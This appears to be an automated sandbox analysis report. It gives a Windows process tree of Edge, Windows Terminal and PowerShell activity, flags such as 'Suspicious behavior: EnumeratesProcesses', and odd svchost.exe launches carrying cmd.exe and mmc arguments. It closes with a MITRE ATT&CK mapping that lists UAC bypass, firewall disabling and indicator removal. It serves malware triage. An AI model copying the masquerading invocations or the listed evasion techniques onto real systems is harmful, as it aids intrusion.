C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument http://www.bing.com/search?q=Control+p&FORM=IE8SRC
1⤵
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:1508
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=90.0.4430.212 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=90.0.818.66 --initial-client-data=0x100,0x104,0x108,0xdc,0x10c,0x7ff819aa3cb8,0x7ff819aa3cc8,0x7ff819aa3cd8
  2⤵
  PID:1368
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=1924,9279306619468338200,17707749199256575948,131072 --gpu-preferences=SAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=1932 /prefetch:2
  2⤵
  PID:3784
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1924,9279306619468338200,17707749199256575948,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2296 /prefetch:3
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:1660
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1924,9279306619468338200,17707749199256575948,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2612 /prefetch:8
  2⤵
  PID:4056
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1924,9279306619468338200,17707749199256575948,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3212 /prefetch:1
  2⤵
  PID:2252
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1924,9279306619468338200,17707749199256575948,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3320 /prefetch:1
  2⤵
  PID:2916
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1924,9279306619468338200,17707749199256575948,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2520 /prefetch:1
  2⤵
  PID:3464

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:2800

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:2696

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument http://www.bing.com/search?q=microsoft+defender&FORM=IE8SRC
1⤵
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:948
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=90.0.4430.212 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=90.0.818.66 --initial-client-data=0x100,0x104,0x108,0xdc,0x10c,0x7ff819aa3cb8,0x7ff819aa3cc8,0x7ff819aa3cd8
  2⤵
  PID:3380
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=1796,17509483586219675099,12665714013163856378,131072 --gpu-preferences=SAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=1880 /prefetch:2
  2⤵
  PID:684
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1796,17509483586219675099,12665714013163856378,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2180 /prefetch:3
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:4500
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1796,17509483586219675099,12665714013163856378,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2752 /prefetch:8
  2⤵
  PID:3708
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1796,17509483586219675099,12665714013163856378,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3152 /prefetch:1
  2⤵
  PID:1180
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1796,17509483586219675099,12665714013163856378,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3160 /prefetch:1
  2⤵
  PID:776
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1796,17509483586219675099,12665714013163856378,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5076 /prefetch:1
  2⤵
  PID:1336
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1796,17509483586219675099,12665714013163856378,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5220 /prefetch:1
  2⤵
  PID:4648
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1796,17509483586219675099,12665714013163856378,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5340 /prefetch:1
  2⤵
  PID:5224

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:4648

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:3676

C:\Program Files\WindowsApps\Microsoft.WindowsTerminal_1.6.10571.0_x64__8wekyb3d8bbwe\WindowsTerminal.exe
"C:\Program Files\WindowsApps\Microsoft.WindowsTerminal_1.6.10571.0_x64__8wekyb3d8bbwe\WindowsTerminal.exe"
1⤵
- Suspicious use of SetWindowsHookEx
PID:6092
- C:\Windows\system32\wsl.exe
  C:\Windows\system32\wsl.exe --list
  2⤵
  PID:3212
- C:\Program Files\WindowsApps\Microsoft.WindowsTerminal_1.6.10571.0_x64__8wekyb3d8bbwe\OpenConsole.exe
  "C:\Program Files\WindowsApps\Microsoft.WindowsTerminal_1.6.10571.0_x64__8wekyb3d8bbwe\OpenConsole.exe" --headless --win32input --resizeQuirk --width 120 --height 27 --signal 0xa14 --server 0xa10
  2⤵
  PID:5220
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:5244
- - C:\Windows\System32\svchost.exe
    C:\Windows\System32\svchost.exe cmd.exe "C:\Windows\system32\mmc.exe" "C:\Windows\system32\diskmgmt.msc"
    3⤵
    PID:5408
- - C:\Windows\System32\svchost.exe
    C:\Windows\System32\svchost.exe cmd.exe "C:\Windows\system32\mmc.exe" "C:\Windows\system32\services.msc"
    3⤵
    PID:5364
- - C:\Windows\system32\msinfo32.exe
    "C:\Windows\system32\msinfo32.exe"
    3⤵
    - Suspicious behavior: GetForegroundWindowSpam
    PID:5404
- - C:\Windows\System32\svchost.exe
    C:\Windows\System32\svchost.exe cmd.exe "C:\Windows\system32\mmc.exe" "C:\Windows\system32\compmgmt.msc"
    3⤵
    PID:2436
- - C:\Windows\System32\svchost.exe
    C:\Windows\System32\svchost.exe cmd.exe "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
    3⤵
    PID:1400
- - C:\Windows\System32\svchost.exe
    C:\Windows\System32\svchost.exe cmd.exe "C:\Windows\system32\mmc.exe" "C:\Windows\system32\perfmon.msc"
    3⤵
    PID:1580

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument http://ddwasddwasd/
1⤵
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of SendNotifyMessage
PID:2452
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=90.0.4430.212 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=90.0.818.66 --initial-client-data=0x100,0x104,0x108,0xdc,0x10c,0x7ff819aa3cb8,0x7ff819aa3cc8,0x7ff819aa3cd8
  2⤵
  PID:1628
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=1984,15786721400908323197,10877022714176519482,131072 --gpu-preferences=SAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=1996 /prefetch:2
  2⤵
  PID:3112
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1984,15786721400908323197,10877022714176519482,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2384 /prefetch:3
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:1040
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1984,15786721400908323197,10877022714176519482,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2712 /prefetch:8
  2⤵
  PID:4256
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1984,15786721400908323197,10877022714176519482,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3216 /prefetch:1
  2⤵
  PID:5684
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1984,15786721400908323197,10877022714176519482,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3264 /prefetch:1
  2⤵
  PID:5692

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:5736

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:3912

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument http://powercfg.msc/
1⤵
- Power Settings
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of SendNotifyMessage
PID:3676
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=90.0.4430.212 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=90.0.818.66 --initial-client-data=0x100,0x104,0x108,0xdc,0x10c,0x7ff819aa3cb8,0x7ff819aa3cc8,0x7ff819aa3cd8
  2⤵
  PID:4688
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=1880,6630669976310425814,11113353388665877726,131072 --gpu-preferences=SAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=1900 /prefetch:2
  2⤵
  PID:5368
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1880,6630669976310425814,11113353388665877726,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2264 /prefetch:3
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:5356
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1880,6630669976310425814,11113353388665877726,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2840 /prefetch:8
  2⤵
  PID:5864
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1880,6630669976310425814,11113353388665877726,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3300 /prefetch:1
  2⤵
  PID:4264
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1880,6630669976310425814,11113353388665877726,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3320 /prefetch:1
  2⤵
  PID:4876
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1880,6630669976310425814,11113353388665877726,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4232 /prefetch:1
  2⤵
  PID:2436
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1880,6630669976310425814,11113353388665877726,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3744 /prefetch:1
  2⤵
  PID:2440

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:1828

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:1080

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

System Services

T1569

Service Execution

T1569.002

Windows Management Instrumentation

T1047

Persistence

Account Manipulation

T1098

Create or Modify System Process

T1543

Windows Service

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Netsh Helper DLL

T1546.007

Power Settings

T1653

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Account Manipulation

T1098

Create or Modify System Process

T1543

Windows Service

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Netsh Helper DLL

T1546.007

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Direct Volume Access

T1006

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Disable or Modify Tools

Indicator Removal

T1070

File Deletion

T1070.004

Network Share Connection Removal

T1070.005

Modify Registry

Credential Access

Discovery

Browser Information Discovery

T1217

Peripheral Device Discovery

T1120

Query Registry

System Information Discovery